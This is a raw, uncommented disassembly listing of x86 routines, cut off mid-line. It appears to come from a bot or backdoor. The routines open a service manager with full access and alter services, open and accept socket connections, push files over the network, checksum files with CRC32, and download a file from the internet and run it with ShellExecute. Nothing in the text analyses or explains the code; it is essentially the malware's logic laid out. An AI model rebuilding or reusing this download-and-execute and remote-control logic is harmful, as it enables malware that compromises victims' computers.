sub_4033CB+298p arg_0 = dword ptr 4 push esi mov esi, offset dword_43A784 loc_40B253: ; CODE XREF: sub_40B24D+27j cmp byte ptr [esi], 0 jz short loc_40B268 push [esp+4+arg_0] push esi call sub_409B42 pop ecx test eax, eax pop ecx jnz short loc_40B27A loc_40B268: ; CODE XREF: sub_40B24D+9j add esi, 80h cmp esi, offset dword_43E784 jl short loc_40B253 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40B27A: ; CODE XREF: sub_40B24D+19j push 1 pop eax pop esi retn sub_40B24D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B27F proc near ; DATA XREF: sub_40CE55+5532o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40B2D2 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_42BA34 push eax push [ebp+var_11C] call sub_412D4C add esp, 14h loc_40B2D2: ; CODE XREF: sub_40B27F+33j cmp [ebp+var_98], 0 jz short loc_40B2F2 lea eax, [ebp+var_98] push eax call sub_415A5F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40B2F2 mov [ebp+var_8], eax loc_40B2F2: ; CODE XREF: sub_40B27F+5Aj ; sub_40B27F+6Ej and [ebp+arg_0], 0 mov esi, offset dword_43A784 loc_40B2FB: ; CODE XREF: sub_40B27F+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40B355 cmp byte ptr [esi], 0 jz short loc_40B344 cmp [ebp+var_98], 0 jz short loc_40B32A cmp [ebp+var_4], 0 jnz short loc_40B32A lea eax, [ebp+var_98] push eax push esi call sub_409B42 pop ecx test eax, eax pop ecx jz short loc_40B344 loc_40B32A: ; CODE XREF: sub_40B27F+90j ; sub_40B27F+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_412D4C add esp, 14h loc_40B344: ; CODE XREF: sub_40B27F+87j ; sub_40B27F+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_43E784 jl short loc_40B2FB loc_40B355: ; CODE XREF: sub_40B27F+82j lea eax, [ebp+var_31C] push offset dword_42BA04 push eax call sub_4154E7 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40B38F push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_412D4C add esp, 14h loc_40B38F: ; CODE XREF: sub_40B27F+EEj lea eax, [ebp+var_31C] push eax call sub_40B16D push [ebp+var_18] call sub_4152AF pop ecx pop ecx push esi call dword_421048 pop edi pop esi sub_40B27F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B3AE proc near ; CODE XREF: sub_409E15+1Ep ; sub_40C682+350p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_42BA58 xor esi, esi mov ebx, offset dword_42C21C loc_40B3C1: ; CODE XREF: sub_40B3AE+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_43A36C cmp [ebp+arg_0], esi jz short loc_40B3FB push [ebp+arg_0] call sub_415CF0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_43A3DC jmp short loc_40B405 ; --------------------------------------------------------------------------- loc_40B3FB: ; CODE XREF: sub_40B3AE+2Fj push ebx push [ebp+var_4] call dword_43A324 loc_40B405: ; CODE XREF: sub_40B3AE+4Bj push [ebp+var_4] call dword_43A394 add edi, 8 cmp edi, offset dword_42BA70 jl short loc_40B3C1 pop edi pop esi pop ebx leave retn sub_40B3AE endp ; =============== S U B R O U T I N E ======================================= sub_40B41E proc near ; CODE XREF: sub_40B459+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_40B453 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_40B437: ; CODE XREF: sub_40B41E+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_42125C[eax*4] xor esi, eax inc edx dec edi jnz short loc_40B437 pop edi pop ebx loc_40B453: ; CODE XREF: sub_40B41E+Ej mov eax, esi pop esi not eax retn sub_40B41E endp ; =============== S U B R O U T I N E ======================================= sub_40B459 proc near ; CODE XREF: sub_40BCEF+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_415DC9 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_415BE8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40B4A8 loc_40B47E: ; CODE XREF: sub_40B459+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40B4AC inc ebx push ebx push esi call sub_4174DF mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40B4A8 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_416BB0 add esp, 10h jmp short loc_40B47E ; --------------------------------------------------------------------------- loc_40B4A8: ; CODE XREF: sub_40B459+23j ; sub_40B459+39j xor eax, eax jmp short loc_40B4C7 ; --------------------------------------------------------------------------- loc_40B4AC: ; CODE XREF: sub_40B459+29j dec ebx push ebx push esi call sub_40B41E push esi mov ebx, eax call sub_415E3D push edi call sub_415B40 add esp, 10h mov eax, ebx loc_40B4C7: ; CODE XREF: sub_40B459+51j pop edi pop esi pop ebx retn sub_40B459 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4CB proc near ; CODE XREF: sub_40B551+33p ; sub_40BAB4+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_43A438 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40B547 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415570 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_43A3B8 push [ebp+arg_0] mov [ebp+var_E], ax call dword_43A3F8 cmp eax, esi jnz short loc_40B52C push [ebp+arg_0] call dword_43A43C test eax, eax jz short loc_40B547 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40B52C: ; CODE XREF: sub_40B4CB+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_43A360 cmp eax, esi jnz short loc_40B54B push edi call dword_43A450 loc_40B547: ; CODE XREF: sub_40B4CB+1Bj ; sub_40B4CB+58j mov eax, esi jmp short loc_40B54D ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4CB+73j mov eax, edi loc_40B54D: ; CODE XREF: sub_40B4CB+7Ej pop edi pop esi leave retn sub_40B4CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B551 proc near ; DATA XREF: sub_40CE55+A79o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_415D70 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40B4CB mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40B5E4 lea eax, [ebp+var_11B4] push offset dword_42BAFC push eax call sub_4154E7 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40B5C7 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_412D4C add esp, 14h loc_40B5C7: ; CODE XREF: sub_40B551+59j lea eax, [ebp+var_11B4] push eax call sub_40B16D push [ebp+var_10] call sub_4152AF pop ecx pop ecx push esi call dword_421048 loc_40B5E4: ; CODE XREF: sub_40B551+3Fj push offset byte_438FDC push ebx call sub_40A7FD pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40B64F lea eax, [ebp+var_11B4] push offset dword_42BAB8 push eax call sub_4154E7 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40B62B push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_412D4C add esp, 14h loc_40B62B: ; CODE XREF: sub_40B551+BDj lea eax, [ebp+var_11B4] push eax call sub_40B16D pop ecx push ebx call dword_43A450 push [ebp+var_10] call sub_4152AF pop ecx push esi call dword_421048 loc_40B64F: ; CODE XREF: sub_40B551+A3j push 64h call dword_421060 xor edi, edi mov esi, 1000h loc_40B65E: ; CODE XREF: sub_40B551+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_43A3D0 test eax, eax jle short loc_40B6BB lea eax, [ebp+var_11B4] push offset asc_426CB4 ; "\n" push eax call sub_415C10 lea eax, [ebp+var_11B4] push eax call sub_40A5E9 add esp, 0Ch test eax, eax jz short loc_40B6BB push 64h call dword_421060 push 7 call sub_4151DB test eax, eax pop ecx jnz short loc_40B65E loc_40B6BB: ; CODE XREF: sub_40B551+130j ; sub_40B551+154j lea eax, [ebp+var_11B4] push offset dword_42BA70 push eax call sub_4154E7 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40B6EE push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_412D4C add esp, 14h loc_40B6EE: ; CODE XREF: sub_40B551+180j lea eax, [ebp+var_11B4] push eax call sub_40B16D pop ecx push ebx call dword_43A450 push [ebp+var_10] call sub_4152AF pop ecx push edi call dword_421048 sub_40B551 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B712 proc near ; DATA XREF: sub_40CE55+46F3o var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_43A438 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40B760 push offset dword_42BC9C jmp loc_40B919 ; --------------------------------------------------------------------------- loc_40B760: ; CODE XREF: sub_40B712+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_415570 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_43A3B8 mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_43A3E4 test eax, eax jz short loc_40B79E push offset dword_42BC64 jmp loc_40B919 ; --------------------------------------------------------------------------- loc_40B79E: ; CODE XREF: sub_40B712+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_43A35C push [ebp+var_2E] call dword_43A2F4 mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_415CF0 pop ecx loc_40B7D0: ; CODE XREF: sub_40B712+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40B7E3 push 5Fh pop eax jmp short loc_40B7E6 ; --------------------------------------------------------------------------- loc_40B7E3: ; CODE XREF: sub_40B712+CAj movsx eax, al loc_40B7E6: ; CODE XREF: sub_40B712+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_415CF0 cmp [ebp+arg_0], eax pop ecx jbe short loc_40B7D0 push ebx push edi call dword_43A3E0 test eax, eax jz short loc_40B819 push offset dword_42BAFC jmp loc_40B919 ; --------------------------------------------------------------------------- loc_40B819: ; CODE XREF: sub_40B712+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call dword_421078 cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40B843 push offset dword_42BC30 jmp loc_40B919 ; --------------------------------------------------------------------------- loc_40B843: ; CODE XREF: sub_40B712+125j push esi push eax call dword_421090 mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40A171 pop ecx push eax call dword_43A3F8 push eax call dword_43A3B4 push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_42BC18 push eax call sub_4154E7 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_412D4C add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_43A3A0 test eax, eax jg short loc_40B8F3 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_42BBEC push eax push [ebp+var_1FC] call sub_412D4C jmp loc_40BA17 ; --------------------------------------------------------------------------- loc_40B8F3: ; CODE XREF: sub_40B712+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_43A44C cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40B92C push offset dword_42BBB4 loc_40B919: ; CODE XREF: sub_40B712+49j ; sub_40B712+87j ... lea eax, [ebp+var_3FC] push eax call sub_4154E7 pop ecx pop ecx jmp loc_40BA1A ; --------------------------------------------------------------------------- loc_40B92C: ; CODE XREF: sub_40B712+200j push edi call dword_43A450 cmp [ebp+arg_0], esi jz loc_40B9DE mov edi, 400h loc_40B941: ; CODE XREF: sub_40B712+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40B94E mov [ebp+var_4], eax loc_40B94E: ; CODE XREF: sub_40B712+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_415570 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call dword_4210AC lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call dword_421068 push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_43A408 mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_43A3D0 cmp eax, ebx jl loc_40BA73 mov eax, [ebp+var_4] cmp eax, ebx jl loc_40BA73 sub [ebp+arg_0], eax jnz loc_40B941 mov edi, [ebp+var_18] loc_40B9DE: ; CODE XREF: sub_40B712+224j push [ebp+var_8] call dword_42106C push [ebp+var_C] push [ebp+var_10] call sub_40C218 pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_43A444 push eax lea eax, [ebp+var_3FC] push offset dword_42BB60 push eax call sub_4154E7 loc_40BA17: ; CODE XREF: sub_40B712+1DCj add esp, 14h loc_40BA1A: ; CODE XREF: sub_40B712+215j cmp [ebp+var_50], esi jnz short loc_40BA3F push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_412D4C add esp, 14h loc_40BA3F: ; CODE XREF: sub_40B712+30Bj lea eax, [ebp+var_3FC] push eax call sub_40B16D cmp edi, esi pop ecx jbe short loc_40BA57 push edi call dword_43A450 loc_40BA57: ; CODE XREF: sub_40B712+33Cj push [ebp+var_1F8] call dword_43A450 push [ebp+var_58] call sub_4152AF pop ecx push esi call dword_421048 loc_40BA73: ; CODE XREF: sub_40B712+2AFj ; sub_40B712+2BAj push esi mov esi, offset dword_42BB34 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_412D4C push esi call sub_40B16D add esp, 18h push [ebp+var_1F8] call dword_43A450 push [ebp+var_58] call sub_4152AF pop ecx push ebx call dword_421048 sub_40B712 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BAB4 proc near ; DATA XREF: sub_40CE55+7B7o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_415D70 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax call dword_421058 lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_2 ; "%s%s" push eax call sub_4154E7 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call dword_421078 cmp eax, 0FFFFFFFFh jnz short loc_40BB3E push offset dword_42BDA4 jmp short loc_40BB84 ; --------------------------------------------------------------------------- loc_40BB3E: ; CODE XREF: sub_40BAB4+81j push eax call dword_42106C lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_415BE8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40BB66 push offset dword_42BD60 jmp short loc_40BB84 ; --------------------------------------------------------------------------- loc_40BB66: ; CODE XREF: sub_40BAB4+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40B4CB pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40BB97 push offset dword_42BD2C loc_40BB84: ; CODE XREF: sub_40BAB4+88j ; sub_40BAB4+B0j lea eax, [ebp+var_4C4] push eax call sub_4154E7 pop ecx pop ecx jmp loc_40BC91 ; --------------------------------------------------------------------------- loc_40BB97: ; CODE XREF: sub_40BAB4+C9j mov esi, 1000h loc_40BB9C: ; CODE XREF: sub_40BAB4+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_43A3D0 mov edi, eax cmp edi, ebx jz loc_40BC63 cmp edi, 0FFFFFFFFh jz short loc_40BC04 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_4175FF add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_43A3B4 mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_43A408 jmp short loc_40BB9C ; --------------------------------------------------------------------------- loc_40BC04: ; CODE XREF: sub_40BAB4+118j lea eax, [ebp+var_4C4] push offset dword_42BB34 push eax call sub_4154E7 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_412D4C lea eax, [ebp+var_4C4] push eax call sub_40B16D push [ebp+var_4] call sub_415B40 add esp, 24h push [ebp+arg_0] call dword_43A450 push [ebp+var_1C] call sub_4152AF pop ecx push 1 call dword_421048 loc_40BC63: ; CODE XREF: sub_40BAB4+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40C218 push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_42BCD4 push eax call sub_4154E7 add esp, 1Ch loc_40BC91: ; CODE XREF: sub_40BAB4+DEj cmp [ebp+var_14], ebx jnz short loc_40BCB6 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_412D4C add esp, 14h loc_40BCB6: ; CODE XREF: sub_40BAB4+1E0j lea eax, [ebp+var_4C4] push eax call sub_40B16D cmp [ebp+var_4], ebx pop ecx jz short loc_40BCD1 push [ebp+var_4] call sub_415B40 pop ecx loc_40BCD1: ; CODE XREF: sub_40BAB4+212j cmp [ebp+arg_0], ebx jbe short loc_40BCDF push [ebp+arg_0] call dword_43A450 loc_40BCDF: ; CODE XREF: sub_40BAB4+220j push [ebp+var_1C] call sub_4152AF pop ecx push ebx call dword_421048 sub_40BAB4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BCEF proc near ; DATA XREF: sub_40CE55+36E9o ; sub_40CE55+3E36o var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_43A368 call dword_43A2C8 cmp eax, esi mov [ebp+var_18], eax jz loc_40C17B push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call dword_421078 cmp eax, edi mov [ebp+var_20], eax jnb short loc_40BDB6 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_42C060 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40BD99 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C add esp, 14h loc_40BD99: ; CODE XREF: sub_40BCEF+88j lea eax, [ebp+var_510] push eax call sub_40B16D push [ebp+var_48] call sub_4152AF pop ecx pop ecx push esi call dword_421048 loc_40BDB6: ; CODE XREF: sub_40BCEF+68j xor edi, edi call dword_42104C mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_415DC9 pop ecx mov [ebp+var_1C], eax loc_40BDD0: ; CODE XREF: sub_40BCEF+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_43A2D0 cmp [ebp+var_34], esi jz short loc_40BE14 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_40C1E1 pop ecx pop ecx loc_40BE14: ; CODE XREF: sub_40BCEF+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call dword_421070 cmp edi, ebx jnb short loc_40BE52 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40BE3C mov eax, [ebp+arg_0] loc_40BE3C: ; CODE XREF: sub_40BCEF+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_4155D0 add esp, 0Ch loc_40BE52: ; CODE XREF: sub_40BCEF+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40BE5F cmp edi, [ebp+var_3C] ja short loc_40BEA9 loc_40BE5F: ; CODE XREF: sub_40BCEF+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_40BE79 shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42C014 jmp short loc_40BE89 ; --------------------------------------------------------------------------- loc_40BE79: ; CODE XREF: sub_40BCEF+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42BFD0 loc_40BE89: ; CODE XREF: sub_40BCEF+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_43F348 push eax call sub_4154E7 add esp, 10h cmp [ebp+arg_0], esi ja loc_40BDD0 loc_40BEA9: ; CODE XREF: sub_40BCEF+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40BEFE cmp edi, [ebp+var_3C] jz short loc_40BEFE push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_42BF88 push eax call sub_4154E7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C lea eax, [ebp+var_510] push eax call sub_40B16D add esp, 28h loc_40BEFE: ; CODE XREF: sub_40BCEF+1C4j ; sub_40BCEF+1C9j call dword_42104C sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_42106C push [ebp+var_1C] call sub_415E3D cmp [ebp+var_38], esi pop ecx jz short loc_40BF88 lea eax, [ebp+var_148] push eax call sub_40B459 cmp eax, [ebp+var_38] pop ecx jz short loc_40BF88 push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_42BF4C push eax call sub_4154E7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C lea eax, [ebp+var_510] push eax call sub_40B16D add esp, 28h loc_40BF88: ; CODE XREF: sub_40BCEF+241j ; sub_40BCEF+253j cmp [ebp+var_14], esi jz loc_40C1C8 cmp [ebp+var_44], 1 jz loc_40C083 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_421660 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_421660 fstp [esp+590h+var_590] push offset unk_42BF00 push eax call sub_4154E7 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40C003 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C add esp, 14h loc_40C003: ; CODE XREF: sub_40BCEF+2F2j lea eax, [ebp+var_510] push eax call sub_40B16D cmp [ebp+var_40], 1 pop ecx jnz loc_40C1C8 push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_43A32C cmp [ebp+var_30], esi jnz loc_40C1C8 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_42BEC8 push eax call sub_4154E7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C lea eax, [ebp+var_510] push eax call sub_40B16D add esp, 24h jmp loc_40C1C8 ; --------------------------------------------------------------------------- loc_40C083: ; CODE XREF: sub_40BCEF+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_421660 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_421660 fstp [esp+590h+var_590] push offset unk_42BE74 push eax call sub_4154E7 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40C0EB push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_412D4C add esp, 14h loc_40C0EB: ; CODE XREF: 